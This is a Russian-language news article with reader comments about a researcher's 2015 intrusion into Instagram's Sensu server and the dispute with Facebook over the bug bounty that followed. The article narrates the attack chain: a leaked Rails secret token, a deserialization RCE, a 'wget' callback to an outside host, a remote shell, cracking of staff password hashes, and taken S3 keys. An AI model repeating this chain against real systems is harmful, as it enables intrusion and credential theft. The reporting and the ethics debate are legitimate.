Независимый специалист по безопасности Уэсли Вайнберг (Wesley Wineberg) подвергся серьёзному давлению со стороны компании Facebook. Она не заплатила за найденные уязвимости на сервере Instagram, да ещё угрожает судебным иском.

Уэсли обнаружил уязвимость в инфраструктуре Instagram, с помощью которой нашёл (и, возможно, скачал) практически всё ценное, что есть на серверах Instagram: исходный код последней версии, SSL-сертификаты и приватные ключи для Instagram.com, ключи для подписи куков аутентификации, учётные данные от почтового сервера и ключи для некоторых других продуктов, в том числе для подписи мобильных приложений под iOS и Android.



Вайнберг также получил доступ к аккаунтам сотрудников и их парольным хешам, некоторые из которых хакер взломал, и получил доступ к нескольким хранилищам (бакетам) Amazon S3 с пользовательскими фотографиями и другими приватными данными, которые вызывают подозрения в нарушении конфиденциальности пользователей со стороны Facebook.

Вся эта эпопея началась ещё в октябре с того, что коллега Вайнберга сообщил ему об открытом веб-сервере https://sensu.instagram.com, который работает на инстансе Amazon EC2 и крутит фреймворк для мониторинга Sensu. О баге с открытой админкой сервера в Facebook уже сообщили, но коллега намекнул, что заметил там баг с удалённым сбросом пароля в приложении Ruby on Rails (CVE-2013-3221), подробнее см. статью о способах атаки на Ruby on Rails.

Хакер предположил, что такую же уязвимость можно найти в другом коде Instagram. Он изучил их репозиторий на Github, но ничего такого не обнаружил. Но зато нашёл кое-что получше. В файле secret_token.rb на гитхабе был прошит секретный токен Rails. В статье по ссылке выше подробно описано, как с помощью такого токена не только сфабриковать сессионные куки, но и инициировать десериализацию сессионных куков в Rails, чтобы напрямую запустить удалённое исполнение кода.

Уэсли сконфигурировал локальный инстанс Rails и воспользовался эксплоитом, который лежит на гитхабе: rails-3.2.10-remote-code-execution.md, чтобы сгенерировать объект, который спрячет в куки.

Полученный объект он подписал секретным ключом от Sensu-Admin — и получил куки от Sensu-Admin. К радости исследователя, сервер принял куки, запустил десериализацию, подтвердил подпись и запустил на исполнение объект, спрятанный внутри.

Это была команда wget http://exfiltrated.com/test-instagram — и сервер sensu.instagram.com послушно обратился к хакерскому серверу, что явно указало на то, что эксплоит работает.

Имея на руках работающий RCE, хакер запустил удалённый шелл.



Получив полное подтверждение бага, 21 октября 2015 года Вайнберг сообщил о двух уязвимостях в Facebook, рассчитывая на вознаграждение. В своём блоге он вспоминает статью 2012 года в Bloomberg, где руководитель отдела безопасности Facebook рассказывает о своей программе вознаграждений за найденные уязвимости и говорит: «Если найдут баг на миллион долларов, мы выплатим его».

Чтобы доказать всю серьёзность бага, исследователь продолжил изучать содержимое сервера Instagram, в том числе скачал к себе локальную базу Postgres с информацией об аккаунтах 60 сотрудников и паролями, захешированными bcrypt. Такие хеши очень трудно подобрать: у хакера на компьютере брутфорс шёл со скоростью всего 250 попыток в секунду. На удивление, некоторые пароли оказались настолько лёгкими, что атака по словарю дала эффект уже через несколько минут.

  • Шесть паролей "changeme"
  • Три пароля совпадали с именем пользователя
  • Два пароля "password"
  • Один пароль "instagram"

Отойдя от шока, хакер выбрал один из паролей и залогинился в веб-интерфейс.



После этого он отправил в Facebook информацию о слабых пользовательских аккаунтах (22 октября).

Ожидая положенное вознаграждение от Facebook, специалист изучил содержимое конфигурационного файла /etc/sensu/config.json, там были ключевые пары от 82 контейнеров Amazon S3. Доступ был закрыт ко всем, кроме одного. Но в этом единственном контейнере он нашёл ещё одну ключевую пару, которая давала доступ ко всем 82-м остальным контейнерам.

Facebook оперативно отреагировал, спрятал сервер Sensu за файрвол и 16 ноября выплатил вознаграждение $2500 за первый из трёх багов. В то же время 28 октября Вайнберг получил письмо, где ему отказали в выплате вознаграждения за второй и третий баги, потому что уязвимость со слабыми пользовательскими аккаунтами «выходит за рамки действия программы вознаграждения за уязвимости».

Разумеется, специалист немного обиделся. Получить всего $2500 за уязвимость с удалённым исполнением кода — это почти оскорбительно мало. Он опубликовал в своём блоге описание взлома и несколько почтовых писем из переписки с отделом безопасности Facebook.

После этого ситуация начала накаляться. Директор по безопасности Facebook Алекс Стамос позвонил директору компании Synack, с которой Вайнберг работает по контракту. Он сказал, что произошёл несанкционированный доступ к базе данных сотрудников Instagram и конфиденциальной информации пользователей. Эта информация должна быть немедленно удалена. Стамос сказал, что не хочет сообщать юристам об инциденте, но в случае необходимости процесс против Вайнберга будет запущен.

В ответ на сообщение в блоге специалиста по безопасности Алекс Стамос тоже опубликовал заявление, где назвал действия хакера «неавторизованными и неэтичными». Он также предположил, что Вайнберг недоволен низким размером вознаграждения — этим объясняется его поведение.

В то же время специалист подтвердил, что удалил все данные, полученные с сервера S3 и никому их не показывал. Он добавил, что на инстаграмовском хостинге могли остаться другие незакрытые уязвимости. Но похоже на то, что миллион долларов ему так и не заплатят.

Комментарии (47)


  1. RolexStrider
    19.12.2015 00:43
    -23

    Facebook угрожает специалисту по безопасности, взломавшему Instagram

    Простите коль чего недопонял, но звучит это как в том анекдоте: «Странно… Му-Му вроде как написал Тургенев, а памятник почему-то поставили Чехову»


    1. YoungSkipper
      19.12.2015 00:48
      +30

      Instagram является частью/принадлежит Facebook


      1. RolexStrider
        19.12.2015 00:53
        +10

        Oops… Тогда прошу прощения.


  1. vitamin
    19.12.2015 01:33
    +3

    Красиво… Странно, что они старую админку использовали, она уже давно не развивается и заменена на uchiwa.


  1. khim
    19.12.2015 02:31
    -5

    Меня во всей этой истории удивляет не реакция компаний, а реакция «исследователей».

    Давайте отвлечёмся от админок, паролой и прочего. И поговорим… ну скажем про заводы.

    Вася посмотрел на двери проходной на нефтезаводе, обнаружил, что там используется замок фирмы «ДыркиНашеВсё», отрывающиеся зубочисткой и сообщил об этом дирекции завода.

    Петя, обнаружив на дверях для транспорта точно замки той же фирмы подождал, пока за очередным бензовозом не закроется дверь, прошёл в комнату управления персонала, снял слепки ключей всех сотрудников и, уйдя к себе домой, написал об этом администации.

    Вопрос: почему Вася получил вознаграждение в 100 рублей «за бдительность», а Пете грозит срок в несколько лет?

    Одно дело — обнаружить уязвимость и совсем другое — обнаружив её начать играть «в сыщиков» на территории «режимного предприятия». Ну есть же разница, чёрт побери.

    Почему люди считают что вещи, за которые в «реальном» мире дают срок «в виртуальном» должны поощраться?


    1. KhodeN
      19.12.2015 03:07
      +16

      Напоминает рассказ про солонку.

      С другой стороны, он не нанес прямого вреда, разве что по репутации и то среди айтишников.

      Сервисы такой популярности не должны иметь известных неисправленных уязвимостей. И он правильно сделал, что показал, насколько все плохо и что можно было бы сделать, имей он другие цели.


    1. withkittens
      19.12.2015 04:24
      +38

      Потому что в данном случае есть проблема: на двери проходной висит листочек А4: «Разрешаем искать уязвимости, если найдёте — тут же сообщайте. Ничего не красть!».

      Вася обнаружил, что замки «ДыркиНашеВсё» никуда не годятся — хорошо. Петя прошёл через проходную и продолжил искать уязвимости. Нигде не написано, что после первой же уязвимости нужно остановиться! Это выясняется уже пост-фактум. Также пост-фактум выясняется и то, что сделать слепки ключей и выяснить, что часть из них — это тупо крестовые отвёртки разного размера, — это нарушение приватности. В листочке об этом не было написано. Было написано «не красть» — и Петя всё-таки не преступник, он ничего не украл.


      1. withkittens
        19.12.2015 04:29
        +4

        Ещё Петя привёл в сравнение подобный листок с проходной другого завода, молочного.
        Там было написано: «Можно искать уязвимости. Ничего не красть и не ломать. Например, в качестве доказательства вы можете сфотографировать внутренности электрощитка, но запрещено что-либо в нём щёлкать!».
        Петя пытался узнать мнение администрации первого завода на счёт того, как далеко можно заходить, но в ответ ничего не получил.


      1. MichaelBorisov
        19.12.2015 12:17
        -6

        На заборе тоже "..." написано. А в УК есть статья: «несанкционированный доступ на режимное предприятие». Вот Пете теперь и предстоит доказывать в суде с этим листочком в руках, что он не виноват, и его самого туда позвали. Прокурор может заявить, что в УК ничего не написано насчет исключений из закона, которые даются какими-то листочками А4.

        Сколько уже таких историй было, когда нашедшим уязвимости не платили, платили мало или вообще с ходу угрожали преследованием. Все больше убеждаюсь, что объявления о вознаграждениях за уязвимости — это неблагодарная замануха. Особенно когда конкретный размер вознаграждения не оговаривается. К примеру, вы ведете с фирмой переговоры о размерах вознаграждения. Какая мотивация для фирмы соглашаться на более высокую сумму, если вы уже передали ей всю необходимую им информацию?

        Думаю, лучше или хакерствовать в свою пользу, или заниматься поиском уязвимостей профессионально, или вообще не связываться с этим.


        1. withkittens
          19.12.2015 12:51
          +11

          Думайте. Но баунти программы существуют и они легальны (иначе бы таких программ не было, правда?). Поэтому ваша аналогия с УК и режимным объектом тут неприменима.

          Какая мотивация платить больше? Тупо чтобы в следующий раз не продали информацию об уязвимости на чёрный рынок, дыр-то много. Фирмам намного выгоднее привлекать white hats достойной оплатой, чем попадать на порядок бoльшие бабки, разгребая последствия того, что уязвимостью воспользовались не те люди.


        1. NoOne
          21.12.2015 08:57
          +3

          «несанкционированный доступ на режимное предприятие»

          Но как только предприятие публикует bug bounty, то доступ сразу становится санкционированным, ведь верно?


  1. zim32
    19.12.2015 03:13
    +9

    Эх фейсбук… Проще ему было родить, чем получить миллион за найденные уязвимости


  1. betauser
    19.12.2015 05:44

    Вайнберг какой-то Хайзенберг.


  1. kozyabka
    19.12.2015 07:53
    +21

    Парни из ФБ повели себя очень странно заплатив 2.5к за удаленное исполнение кода, и 12.5к за возможность лишь удалять любое фото в сети по ссылке (http://timesofindia.indiatimes.com/tech/tech-news/Facebook-pays-Indian-12500-for-finding-photo-deleting-bug/articleshow/46233195.cms)


  1. blw0rm
    19.12.2015 08:08
    +14

    Согласно написанному здесь

    Уэсли нашёл уязвимость в инфраструктуре Instagram, с помощью которой скачал практически всё ценное, что есть на серверах Instagram: исходный код последней версии, SSL-сертификаты и приватные ключи для Instagram.com, ключи для подписи куков аутентификации...
    герою сюжета действительно могло бы светить наказание за кражу данных, но все-таки в оригинале автор говорит следующее
    I avoided downloading any content from those buckets.
    что как бы не одно и тоже. Между «Зашел в помещение, порылся в шкафу, снял копии уставных и прочих важных документов и ушел. После угроз судебным делом сжег все копии» и «Заглянул, убедился, что двери и шкафы открыты и ушел, не взяв ничего» разница принципиальная.


    1. kozyabka
      19.12.2015 08:55

      Эта тонкая грань между белыми и черными…


    1. VolCh
      21.12.2015 11:19

      Какая принципиальная разница между «посмотрел» и «снял копию»?


  1. Lure_of_Chaos
    19.12.2015 08:41
    +1

    А раньше ради миллиона долларов грабили банки (кино) :)


    1. nochkin
      19.12.2015 10:17
      +12

      И сейчас грабят банки. Только через интернет, в трусах и не вставая с дивана.


  1. MiXaiL27
    19.12.2015 10:12
    -2

    Только публичные расстрелы! Ой, то есть отзыв текущего статуса, полученного при предыдущем аудите безопасности и публичный разбор почему уязвимости не закрыты.


  1. AllexIn
    19.12.2015 10:41
    +62

    Молодцы, что сказать…
    В следующий раз хакеры будут знать, что лучше слить дыру на черном рынке, чем пытаться получить адекватное вознаграждение. И выгоднее и безопаснее.


  1. redmanmale
    19.12.2015 12:48

    там были ключевые пары от 82 контейнеров Amazon S3. Доступ был закрыт ко всем, кроме одного. Но в этом единственном контейнере он нашёл ещё одну ключевую пару, которая давала доступ ко всем 82-м остальным контейнерам.

    Очень подозрительно. Попахивает подставой.


  1. BeLove
    19.12.2015 12:52
    -5

    Жаль, что в СМИ форсируют версию, что это Facebook виноват (видимо, в борьбе за рейтинги).
    Любой багхантер почитав ответ от FB — www.facebook.com/notes/alex-stamos/bug-bounty-ethics/10153799951452929?pnref=story поймет, что это Wes взял на себя слишком много.
    По своему опыту скажу, не согласен с суммой (в оригинале пишут вообще, что это был дубль) — просто обсуди. Не раз бывало, что суммы после обсуждения увеличивались в 2-3 раза. Он, вроде, писал по этом поводу вопрос, но не стал дожидаться ответа и уже нарушил рамки допустимого.


    1. withkittens
      19.12.2015 13:24
      +6

      Как понял лично я, к Фейсбуку две претензии:

      1) Каковы они, эти рамки допустимого? Вес вёл себя в рамках, описанных самим Фейсбуком. О том, что в реальности рамки yже, выяснилось пост-фактум.

      2) Фейсбук не пытался связаться с Весом и донести, что он зашёл далеко — компания сразу же начала косвенно угрожать, позвонив работодателю. И потом они говорят «ну, это был наиболее мягкий вариант из рассматривавшихся».


      1. BeLove
        19.12.2015 15:56
        -3

        1) Об этом сказано прямым текстом в правилах — www.facebook.com/whitehat,
        2) Чувак нагло сливал базу и брутил хэши, это прямое нарушение правил (это понятно любому). И уже попадает под заведение дела под него, все логично.


        1. withkittens
          19.12.2015 16:38
          +5

          As a researcher on the Facebook program, the expectation is that you report a vulnerability as soon as you find it. We discourage escalating or trying to escalate access
          1) Будете любезны процитировать прямой текст в правилах, где об этом написано?
          2) То же самое касаемо слитых данных (я думаю, это важно — инфраструктурных данных. Пользовательские данные, как говорит чувак, он не трогал. Т.е. в моём понимании user privacy не нарушена).
          3) Вот с брутфорсом хэшей — да, непонятно. С одной стороны, в этом не было никакой необходимости. С другой стороны, это пароли персонала, а не пользователей. Я не уверен, что сюда подходит user privacy policy, которой прикрывается Фейсбук.


          1. PHmaster
            22.12.2015 15:52
            +2

            Вот с брутфорсом хэшей — да, непонятно.

            По-моему, все логично. Black-hat обязательно сделал бы это, чтобы получить доступ к аккаунтам. White-hat сделал это, чтобы выяснить, насколько легко получить доступ к аккаунтам, и выяснил, что это чрезвычайно легко, т.е. нашел ту дыру, через которую смог бы проникнуть злоумышленник. Не вижу, из каких соображений он должен избегать этого шага.


        1. withkittens
          19.12.2015 16:46
          +3

          2) А ещё выясняется, что безопасник Фейсбука немного привирает в своём блоге, рассказывая об инциденте. Зачем?


          1. BeLove
            19.12.2015 16:52

            Wes просто не стал ждать ответа и поддался эйфории, быстрее стараясь разломать все подряд.
            ФБ нормально платит, лично знаю случай и $15k за XSS. И ФБ всегда платит много выше, чем в среднем по рынку.
            Единственный момент мне непонятный, почему написано, что ему заплатили 2500 (написано — за дубль), когда за дубли вообще не платят. И если это дубль — почему не был исправлен к этому моменту.


            1. withkittens
              19.12.2015 17:38
              -1

              Не стал ждать ответа — да. Но будем объективными, разломать — нет.

              Ему не заплатили. Пока что они только сказали, что он может рассчитывать на $2,500.

              Вес написал, что выплата делится с его другом, который изначально обнаружил сервер. Ну и Facebook states 'typically only reward the first researcher to report a valid issue to us through the bounty program, but in this case, we well be paying for related reports with different information that helped us track down and fix this issue.'


              1. BeLove
                19.12.2015 17:45

                Ну как нет то? Тащить амазон ключи, где хранится приватный контент пользователей, брутить хэши админов и т.п.
                Вообще этот случай давно обсудили в «багхант» сообществах и все придерживаются стороны ФБ. Адекватно надо оценивать свои действия.
                Никто себе подобного не позволял и сначала думал и спрашивал вендора. А Wes технически молодец, но не более.


                1. MaxxArts
                  22.12.2015 14:26

                  У вас какие-то свои отдельные «багхант сообщества». Не видел на просторах ни одного мнения за действия ФБ и Стамоса в частности. Все мнения сходятся в одном, что а) Уэсли действовал нагло и грубо, но в рамках опубликованных на тот момент правил, и б) Стамос повёл себя как мудак. Вы просто завидуете, что чувак оказался настолько дотошным и удачливым.


                  1. BeLove
                    22.12.2015 16:36

                    О не, вот кому кому, ему точно сейчас не позавидуешь. Не хотел бы я быть на его месте.
                    В этом мнении сходятся в российских СМИ, но не на Западе, в обсуждениях в твиттере и разных чатах. Может «мои сообщества» и отдельные, но состоят они из тех, кто также находит, репортит и постоянно получает реварды от различных вендоров.


  1. Degibenz
    19.12.2015 12:59
    -1

    Это не баг, это фича.

    Скорее всего, они не признают эти баги потому, что подставит под сомнения защищенности сервера самого Facebook, а так будут отпираться, говорить все все ОК.


  1. Diden05
    19.12.2015 14:56
    +14

    Если это не уязвимость на миллион, то я не знаю что такое уязвимость на миллион.


    1. Evgeny42
      19.12.2015 16:25
      +6

      Наверно незапароленный и открытый phpmyadmin


    1. dkukushkin
      19.12.2015 21:14
      +9

      Когда уязвимость позволяет вам снять со счета 1 млн. и уйти незамеченным.


  1. AndersonDunai
    19.12.2015 21:50
    +5

    Я полностью солидарен с Вайнбергом: чтобы довести дыру в безопасности, нужно продемонстрировать успешную кражу. Иначе все и окончится на 2500 долларах.

    Да и реакция фейсбук очень медленная — этот случай должен дать им своеобразный пинок с порцией люлей, чтобы не забывали о том, что они не единственные в мире ухватили Б-га за бороду.

    Все правильно сделал.


    1. PsyHaSTe
      22.12.2015 10:07

      Его за то, что он просто посмотрел сажать хотят, а тут идут предложения украсть миллион… Сильно, однако :)


  1. maxic
    20.12.2015 01:37
    +2

    Это уже не просто пробой «кода»
    Это ошибка архитектуры, вот почему FB так «ревностно» отреагировал
    Поставить заплатку на код — это тривиальное дело. А вот архитектуру «залатать»… это 3.14


    1. kinguru
      23.12.2015 09:13

      Подробне плз. Где вы видите пробему в архитектуре в данном случае?
      Я вижу проблему 1) секретній ключ в коде на гитхабе и 2) открітій сервер


      1. VolCh
        23.12.2015 09:50

        Чувствительная информация задаётся в коде приложения — проблема архитектуры приложения

        Обладание этой чувствительной информацией позволяет запустить на выполнение произвольный код — очень большая проблема архитектуры приложения


        1. kinguru
          24.12.2015 00:59

          Это не арх проблема, а ошибка с деплой конфигами.
          Даже если и правда в коде, то вынести пароль в конфиг дело 10 минут.


          1. VolCh
            24.12.2015 11:53

            Какая разница в исполняемом коде или в конфиге, если всё равно лежит в каталоге проекта?


            1. kinguru
              24.12.2015 21:44

              А куда вы кладете пароли?


  1. kinguru
    23.12.2015 08:59

    Да, 2500 это маловато для такой уязвимости.


  1. mtivkov
    23.12.2015 23:17

    Хорошо бы ответный иск к ФБ за нарушение публичной оферты!
    Дорого это только там, но может какой юрист бы и взялся за % от будущей суммы.